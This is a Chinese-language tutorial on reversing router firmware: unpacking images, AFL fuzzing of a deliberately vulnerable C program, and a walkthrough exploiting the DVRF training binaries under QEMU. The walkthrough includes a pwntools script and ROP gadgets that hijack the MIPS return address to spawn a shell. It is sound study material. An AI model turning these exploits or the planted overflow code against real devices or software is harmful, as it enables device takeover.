路由器固件逆向&&AFL 入门

0x01 提权固件内容

binwalk

binwalk -e xxxx

提权文件系统

ubireader_extract_files xxx

会生成一个名叫 ubifs-root 的文件夹里面还存放这一个文件,这个文件就是ubi镜像的最终文件系统。

firmware-mod-kit 安装

sudo yum install git build-essential zlib1g-dev liblzma-dev python-magic
这里我只装了liblzma-dev 因为后面配置的时候报了这个错
用的命令是
sudo apt-get install liblzma-devgit clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure
make

说明

extract-firmware.sh 解包固件
build-firmware.sh 重新封包
check_for_upgrade.sh 检查更新
unsquashfs_all.sh 解包提取出来的squashfs文件

将用binwalk解压出来的文件夹中的120200.squashfs文件,转存到firmware-mod-kit文件夹,然后执行

./unsquashfs_all.sh 192728.squashfs

就可以得到文件系统

以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用。

0x02 Openwrt介绍

百度一下:OpenWrt 可以被描述为一个嵌入式的 Linux 发行版,(主流路由器固件有 dd-wrt,tomato,openwrt三类)而不是试图建立一个单一的、静态的系统。OpenWrt的包管理提供了一个完全可写的文件系统,从应用程序供应商提供的选择和配置,并允许您自定义的设备,以适应任何应用程序。对于开发人员,OpenWrt 是使用框架来构建应用程序,而无需建立一个完整的固件来支持;对于用户来说,这意味着其拥有完全定制的能力,可以用前所未有的方式使用该设备。

openwrt在开发的时候 基本上是MVC模式,既 Model,View,Controller
Controller目录中存放的就是所有走web访问的入口文件
Model中放的就是一些所需要的模块
View就是html模板。

0x03 寻找漏洞

使用 AFL 进行模糊测试

0x01 AFL 安装与使用

tar -xvf  压缩文件 -C  /指定目录
make
make install
./afl-fuzz -i testcase_dir -o findings_dir -- \/path/to/tested/program [...program's cmdline...]

若程序从文件中获取输入,则在命令行部分输入 “@@” 字符作为占位符,afl-fuzz 会自动用输入文件名将其替换。

AFL的基本原理和工作流程;
如何选择Fuzzing的⽬标?
如何获得初始语料库?
如何使用AFL构建程序?
AFL的各种执行方式;
AFL状态窗口中各部分代表了什么意义?

afl 安装文件作用:

• afl-gcc 和afl-g++ 分别对应的是gcc 和g++ 的封装
• afl-clang 和afl-clang++ 分别对应clang 的c 和c++ 编译器封装À。
• afl-fuzz 是AFL 的主体,用于对目标程序进行fuzz。
• afl-analyze 可以对用例进行分析,通过分析给定的用例,看能否发现用例中有意义的字段。
• afl-qemu-trace 用于qemu-mode,默认不安装,需要手工执行qemu-mode 的编译脚本进行编译,后面会介绍。
• afl-plot 生成测试任务的状态图
• afl-tmin 和afl-cmin 对用例进行简化
• afl-whatsup 用于查看fuzz 任务的状态
• afl-gotcpu 用于查看当前CPU 状态
• afl-showmap 用于对单个用例进行执行路径跟踪
布局从左到右,从上到下,依次是:
① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起经过了多长时间。
② Overall results:Fuzzer当前状态的概述。
③ Cycle progress:我们输入队列的距离。
④ Map coverage:目标二进制文件中的插桩代码所观察到覆盖范围的细节。
⑤ Stage progress:Fuzzer现在正在执行的文件变异策略、执行次数和执行速度。
⑥ Findings in depth:有关我们找到的执行路径,异常和挂起数量的信息。
⑦ Fuzzing strategy yields:关于突变策略产生的最新行为和结果的详细信息。
⑧ Path geometry:有关Fuzzer找到的执行路径的信息。
⑨ CPU load:CPU利用率
putput:
queue文件夹包含每个独特执行路径的测试用例,以及用户给出的所有起始文件。
hang文件夹包含导致测试程序超时的测试用例
crash文件夹包含导致测试程序接收致命信号的测试用例
一些参考资料:
台湾国立交通大学的一个大佬写的入门教程http://spencerwuwu-blog.logdown.com/posts/1366733-a-simple-guide-of-afl-fuzzer
看雪一篇结合gdb分析crash的关于afl的教程https://bbs.pediy.com/thread-249179.htm
多种afl工具使用及多种情况下afl处理的文章https://0x00sec.org/t/fuzzing-projects-with-american-fuzzy-lop-afl/6498
使用afl来fuzz binutils的例子 https://www.evilsocket.net/2015/04/30/fuzzing-with-afl-fuzz-a-practical-example-afl-vs-binutils/
使用afl挖imagemagick的cve的文章https://github.com/lcatro/Fuzzing-ImageMagick/blob/master/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Fuzzing%E6%8C%96%E6%8E%98ImageMagick%E7%9A%84%E6%BC%8F%E6%B4%9E.md
天融信阿尔法实验介绍afl的文章https://www.freebuf.com/articles/system/191536.html

0x02 模糊测试

有源码

tips:

尽量使测试用例足够小
确保测试对象足够简单
只给需要测的库进行打桩因为AFL
并行

test.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h> int vuln(char *str)
{int len = strlen(str);if(str[0] == 'A' && len == 66){raise(SIGSEGV);//如果输入的字符串的首字符为A并且长度为66,则异常退出}else if(str[0] == 'F' && len == 6){raise(SIGSEGV);//如果输入的字符串的首字符为F并且长度为6,则异常退出}else{printf("it is good!\n");}return 0;
}int main(int argc, char *argv[])
{char buf[100]={0};gets(buf);//存在栈溢出漏洞printf(buf);//存在格式化字符串漏洞vuln(buf);return 0;
}
用afl-gcc 编译:
afl-gcc -g -o afl_test test.c
建立一个testcase的文件夹,建立一个几个字母的文件,然后执行下面一句命令:
afl-fuzz -i testcase -o output ./afl_test

插桩:在AFL编译文件时候afl-gcc会在规定位置插入桩代码,可以理解为一个个的小断点(但是没有暂停功能),在后续fuzz的过程中会根据这些桩代码进行路径探索,测试等。使得测试覆盖面更广,更全面。 -o:指定生成的输出文件;

何时结束

停止:ctrl + c

queue:存放所有具有独特执行路径的测试用例。
crashes:导致目标接收致命signal而崩溃的独特测试用例。
crashes/README.txt:保存了目标执行这些crash文件的命令行参数。
hangs:导致目标超时的独特测试用例。
fuzzer_stats:afl-fuzz的运行状态。
plot_data:用于afl-plot绘图。

crash 分析

xxd id\:000000\,sig\:06\,src\:000001\,op\:havoc\,rep\:128
00000000: 9276 9292 927b 9292 6786 0080 ff66 86ff  .v...{..g....f..
00000010: 7fff f7a0 8686 8686 3392 9292 b079 92b3  ........3....y..
00000020: 86fc 0000 0080 9292 9292 9292 9292 922c  ...............,
00000030: 0000 0020 9292 9292 8686 8686 8686 8686  ... ............
00000040: 8686 8686 8633 9292 92a8 7992 9092 9292  .....3....y.....
00000050: 9292 9292 92ff 92ba cdba baba a1ba baba  ................
00000060: baba ba9d bbba baba 9279 79a1 7979 7979  .........yy.yyyy
00000070: 7979 7979 7979 92a7 9292 9292 927b 92ba  yyyyyy.......{..
00000080: 01bb baba ba92 0000 8092 9292 bbba baba  ................
00000090: 9200 0080 0000 2092 9292 9292 92ff 92ba  ...... .........
000000a0: baba baba baac baba baba c0ba 2000 baba  ............ ...
000000b0: ba92 4092 9258                           ..@..X

gdb 调试 通过栈回溯信息可以看到,程序发生了栈溢出:

gdb 查看:调用了__stack_chk_fail@plt

pwndbg> x/10i 0x40096d - 0x100x40095d <main+253>:  mov    edx,DWORD PTR [rsp]0x400960 <main+256>:   lea    rsp,[rsp+0x98]0x400968 <main+264>:   call   0x4007b0 <__stack_chk_fail@plt>0x40096d:  nop    DWORD PTR [rax]0x400970 <_start>:  xor    ebp,ebp0x400972 <_start+2>:   mov    r9,rdx0x400975 <_start+5>:    pop    rsi0x400976 <_start+6>:   mov    rdx,rsp0x400979 <_start+9>:   and    rsp,0xfffffffffffffff00x40097d <_start+13>:   push   rax

afl-collect 使用

无源码的fuzz 使用

对二进制文件进行插桩

qemo mode

1.运行./build_qemu_support.sh下载、配置并编译QEMU二进制文件。

$ cd qemu_mode
$ ./build_qemu_support.sh

2.依赖关系

​ libtool和glib2-devel

sudo apt-get install libtool
sudo apt-get install libtool-bin
sudo apt-get install automake
sudo apt-get install bison

1. 测试 libtiff

1)安装 libtiff

下载 libtiff 源码,并使用 afl-gcc 编译。

CC=/usr/local/bin/afl-gcc CXX=/usr/local/bin/afl-g++ ./configure --disable-shared
make clean
make

编译好后,可执行文件在 tools 文件夹中。

一步一步PWN路由器之栈溢出实战

DVRF 中的第一个漏洞程序 stack_bof_01

1.binwalk 解压

binwalk -Me DVRF_v03.bin

发现里面的root 文件是空的,有个后缀为squashfs的文件,查资料,用

./unsquashfs_all.sh 192728.squashfs

得到文件系统squashfs -root

pwnable 目录下就是相应的示例程序stack_bof_01

运行stack_bof_01时出现错误

先显示是没有qemu-mipsel-static这个文件,所以我们将qemu-mipsel-static拷到当前目录下

sudo apt-get install qemu binfmt-support qemu-user-static
cp /usr/bin/qemu-mipsel-static .

然后运行chroot和qemu

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01  "`cat ./pwnable/Intro/input`"

tnnd,终于运行成功

hu@ubuntu:~/Desktop/firmware-mod-kit/squashfs-root$ sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01  "`cat ./pwnable/Intro/input`"
Welcome to the first BoF exercise!You entered aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Try Again

gdb 调试

先运行qemu ,-g 1234 设置端口号为1234

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01  "`cat ./pwnable/Intro/input`"

运行gdb-multiarch

gdb-multiarch ./pwnable/Intro/stack_bof_01

进入gdb

pwndbg> set architecture mips
The target architecture is assumed to be mips
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

源码分析一下?

#include <string.h>
#include <stdio.h>//Simple BoF by b1ack0wl for E1550int main(int argc, char **argv[]){char buf[200] ="\0";if (argc < 2){printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
} printf("Welcome to the first BoF exercise!\r\n\r\n");
strcpy(buf, argv[1]);printf("You entered %s \r\n", buf);
printf("Try Again\r\n");return 0x41; // Just so you can see what register is populated for return statements
}void dat_shell(){printf("Congrats! I will now execute /bin/sh\r\n- b1ack0wl\r\n");
system("/bin/sh -c");//execve("/bin/sh","-c",0);
//execve("/bin/sh", 0, 0);
exit(0);}

漏洞就是strcpy(buf, argv[1]); 这里了

ida 分析一波

text:004007E0 var_D8          = -0xD8
.text:004007E0 var_D0          = -0xD0
.text:004007E0 var_CE          = -0xCE
.text:004007E0 var_8           = -8
.text:004007E0 var_4           = -4
.text:004007E0 arg_0           =  0
.text:004007E0 arg_4           =  4
.text:004007E0
.text:004007E0                 li      $gp, 0x484F0
.text:004007E8                 addu    $gp, $t9
.text:004007EC                 addiu   $sp, -0xE8
.text:004007F0                 sw      $ra, 0xE8+var_4($sp)// 返回地址ra 放到栈里面
.text:004007F4                 sw      $fp, 0xE8+var_8($sp)
.text:004007F8                 move    $fp, $sp
.text:004007FC                 sw      $gp, 0xE8+var_D8($sp)
.text:00400800                 sw      $a0, 0xE8+arg_0($fp)
.text:00400804                 sw      $a1, 0xE8+arg_4($fp)
.text:00400808                 la      $v0, dword_400000
.text:004008AC                 lw      $v0, 0xE8+arg_4($fp)
.text:004008B0                 nop
.text:004008B4                 addiu   $v0, 4
.text:004008B8                 lw      $v0, 0($v0)
.text:004008BC                 nop
.text:004008C0                 move    $v1, $v0
.text:004008C4                 addiu   $v0, $fp, 0xE8+var_D0
.text:004008C8                 move    $a0, $v0         # dest
#var_D0 strcpy拷贝的变量目标地址放在变量VAR_D0处
.text:004008CC                 move    $a1, $v1         # src
.text:004008D0                 la      $t9, strcpy
.text:004008D4                 nop
.text:004008D8                 jalr    $t9 ; strcpy
.text:004008DC                 nop

这就可以确定要溢出到ra 返回地址的内存,偏移为204

思路就是把返回地址覆盖成shell的地址:0x400950

写过sh运行脚本

#! /bin/sh
PORT="1234"
#INPUT = `python -c "print open('content1',r).read()"`
cp $(which qemu-mipsel-static) ./qemu
./qemu -L ./ -g $PORT ./pwnable/Intro/stack_bof_01 "`cat content`"
rm ./qemu
from pwn import *
f=open("content","wb")
data = "a"*204
data+="bbbb"
f.write(data)
f.close()

最终的exp

from pwn import *
libc_base = 0x766e5000
gadget = 0x6b20
gadget_addr = libc_base + gadget
shell_addr = 0x400950
f=open("content","wb")
data = "a"*204
data+=p32(gadget_addr)
data+=p32(shell_addr)
f.write(data)
f.close()

mips 的手册内默认 $t9 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget 设置 $t9, 然后再跳到 dat_shell 函数。

在lib中找到gadget,这个重要的gadget 在__thread_start: 的第二行,我也不知道为什么用mipsrop找不到

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24                 jalr    $t9

payload :

payload = padding + gadget1 + dat_shell_addr
mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配
pwndbg> info functions
pwndbg> cyclic 300

我们再来分析一下mips的汇编代码

.text:004008A8                 lw      $gp, 0xE8+var_D8($fp)
.text:004008AC                 lw      $v0, 0xE8+arg_4($fp)
.text:004008B0                 nop
.text:004008B4                 addiu   $v0, 4
.text:004008B8                 lw      $v0, 0($v0)
.text:004008BC                 nop
.text:004008C0                 move    $v1, $v0
.text:004008C4                 addiu   $v0, $fp, 0xE8+var_D0
.text:004008C8                 move    $a0, $v0         # dest
.text:004008CC                 move    $a1, $v1         # src
.text:004008D0                 la      $t9, strcpy
.text:004008D4                 nop
.text:004008D8                 jalr    $t9 ; strcpy
.text:004008DC                 nop

调用strcpy 之前,两个参数分别为 a0,a0,a0,a1,然后dest 是var_D0,v1是命令行参数arg_4

第二题 rop

确定偏移的小工具

python patternLocOffset.py -c -l 600 -f content
python patternLocOffset.py -s 0x72413971 -l 600

先运行第一行生成一个content,然后起qemu

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02  "`cat ./content`"
gdb-multiarch ./pwnable/ShellCode_Required/stack_bof_02
set architecture mips
target remote 127.0.0.1:1234
得到$ra 值为:0x72413971
然后就运行上面的那个第二行代码就可以得到偏移为508了

然后听说有一个比较牛逼的gadget

.text:0000AFE0                 lw      $ra, 0x40+var_4($sp)
.text:0000AFE4                 lw      $fp, 0x40+var_8($sp)
.text:0000AFE8                 lw      $s7, 0x40+var_C($sp)
.text:0000AFEC                 lw      $s6, 0x40+var_10($sp)
.text:0000AFF0                 lw      $s5, 0x40+var_14($sp)
.text:0000AFF4                 lw      $s4, 0x40+var_18($sp)
.text:0000AFF8                 lw      $s3, 0x40+var_1C($sp)
.text:0000AFFC                 lw      $s2, 0x40+var_20($sp)
.text:0000B000                 lw      $s1, 0x40+var_24($sp)
.text:0000B004                 lw      $s0, 0x40+var_28($sp)
.text:0000B008                 jr      $ra
.text:0000B00C                 addiu   $sp, 0x40

MIPS常用指令集

lb / lh / lw : 从存储器中读取一个byte/half word/word的数据到寄存器中.

sb/sh/sw: 把一个byte/half word/word的数据从寄存器存储到存储器中

算术类:
add/addu: 把两个定点寄存器的内容相加;u为不带符号加,如 rd = rs + rt

addi/addiu: 把一个寄存器的内容加上一个立即数;u为不带符号加。 rd = rs + im
sub/subu: 把两个定点寄存器的内容相减。 rd = rs - rt
div/divu: 两个定点寄存器的内容相除。
mul/mulu: 两个定点寄存器的内容相乘。

slt/slti/sltui: 如果rs的值小于rt,那么设置rd的值为1,否则设置rd的值为0。 rd = (rs < rt) ? 1 : 0 ; rd = (rs < im) ? 1 : 0


路由器固件逆向AFL 入门相关推荐

  1. 逆向路由器固件之动态调试

    原文地址:http://xdxd.love/2016/09/20/逆向路由器固件之动态调试/ 本文根据devttyS0的教程Exploiting Embedded Systems – Part 2和E ...

  2. 逆向路由器固件之敏感信息泄露 Part2

    之前的文章中详细介绍了各种解包路由器固件的工具.解包之后就获得了固件中的文件.下一步就是分析文件寻找漏洞了.这次分析的目标是Trendnet路由器,分析的漏洞是一个远程获取路由器权限的漏洞. 初步分析 ...

  3. 路由器逆向分析------路由器固件分析和动态调试环境搭建简述

    本文博客地址:http://blog.csdn.net/qq1084283172/article/details/70140865 01.路由器固件分析和动态调试环境搭建简述的原文 <Emula ...

  4. 施耐德NOE77101以太网模块固件逆向漏洞挖掘

    MIS 固件逆向漏洞挖掘 实验目的 选取任意一个路由器.摄像头或者其它智能设备的固件漏洞,对目标固件进行逆向工程和漏洞分析,剖析漏洞机理,找到漏洞利用方法,编写漏洞利用代码,展示漏洞利用效果,简述漏洞 ...

  5. 使用FirmAE 对zyxel路由器固件仿真实践 | 信息安全

    一.FirmAE简介 FirmAE 是一个执行仿真和漏洞分析的全自动框架.FirmAE 使用五种仲裁技术显著提高仿真成功率(从Firmadyne的 16.28% 提高到 79.36%). FirmAE ...

  6. 拿走不谢!固件逆向分析过程中的工具和技巧(下)

    上文,我们讨论了固件逆向分析过程中的部分工具和策略,这篇我们接着介绍如何分析被加密的固件以及分析策略. hex editor的使用 hex editor是一款使用简单的十六进制编辑工具,能快速对数字进 ...

  7. 物联网固件逆向分析记录(初步概念记录)

    20201206 - 1. 引言 机缘巧合,自己居然有生之年又接触到了这个东西.但是多学点东西也没什么坏处,就当扩宽视野了:不过,以前这种事情,都没有记录,挺可惜的,所以这次记录一下. 关于物联网固件 ...

  8. 固件安全测试入门学习手册 (新手必看)

    0x01 信息收集 在此阶段,收集有关目标的尽可能多的信息,以了解其基础技术的总体组成.尝试收集以下内容: · 支持的CPU架构 · 操作系统平台 · 引导程序配置信息(Bootloader conf ...

  9. 路由器固件下的小试牛刀,与漏洞相关的经验分享

    本篇文章以路由器固件相关漏洞来演示,从0到1分享经验. 本地虚拟机搭建ubuntu 16.04 ubuntu iso下载地址:http://mirrors.aliyun.com/ubuntu-rele ...

最新文章

  1. php登陆页面修改密码的功能,使用bootstrap创建登录注册页面并实现表单验证功能...
  2. 00038oracle,ORACLE错误一览表
  3. VueRouter导航守卫
  4. python字符串_(Python基础教程之七)Python字符串操作
  5. 如何批量转换图片格式为png?
  6. 推荐几个浏览器插件帮助你查论文显示期刊等级(分区及影响因子),sci文章便捷下载
  7. Redis过期时间及过期策略
  8. speedoffice(Excel)如何隐藏网络线
  9. (翻译)箭头和省略号的使用方式
  10. 爬虫python下载网站所有图片_爬取某图片网站多页图片的python爬虫
  11. Linux安装jdk详细步骤,二进制发布包安装!
  12. 植物大战僵尸2 服务器维护时间,植物大战僵尸2:老玩家给平民党的7点忠告,不氪金也能玩到通关!...
  13. js php mysql 是b,MySQL_BBS(php mysql)完整版(七),//下面是 top.js function KB_kee - phpStudy...
  14. 怎样检查一张 SIMATIC 存储卡(SMC)有非一致性或者是格式错误?如何修复?
  15. 2018年9月8日:开启优雅的代码
  16. (附源码)springboot《升学日》日本大学信息及院校推荐网站的开发毕业设计251949
  17. Python中无限循环需要什么条件
  18. php mysql 字段不为空_mysql如何查看字段是否为空
  19. 【软件工程】软件测试目标定义 黑盒测试、白盒测试
  20. 【毕业设计】机器学习驾驶疲劳检测系统 - python

热门文章

  1. H5 微信小程序 价格保留两位小数 分为整数部分和小数部分
  2. Android学习笔记十七.使用ContentProvider实现数据共享(四).操作系统(联系人)的ContentProvider
  3. 第8讲+ MOSFET工作原理
  4. 犹抱琵琶半遮面 三星手机S8将于月底发布
  5. 华为海思芯片型号和处理器应用领域参考
  6. 24点游戏——C语言纯代码及MFC风格
  7. 坚果pro2s android 8,坚果Pro2s和小米8se哪个好?坚果Pro2s对比小米8se区别评测
  8. 5G NR QC-LDPC简介(一)
  9. 服务器容易维修吗,服务器维修简单吗
  10. 用Aspera批量下载数据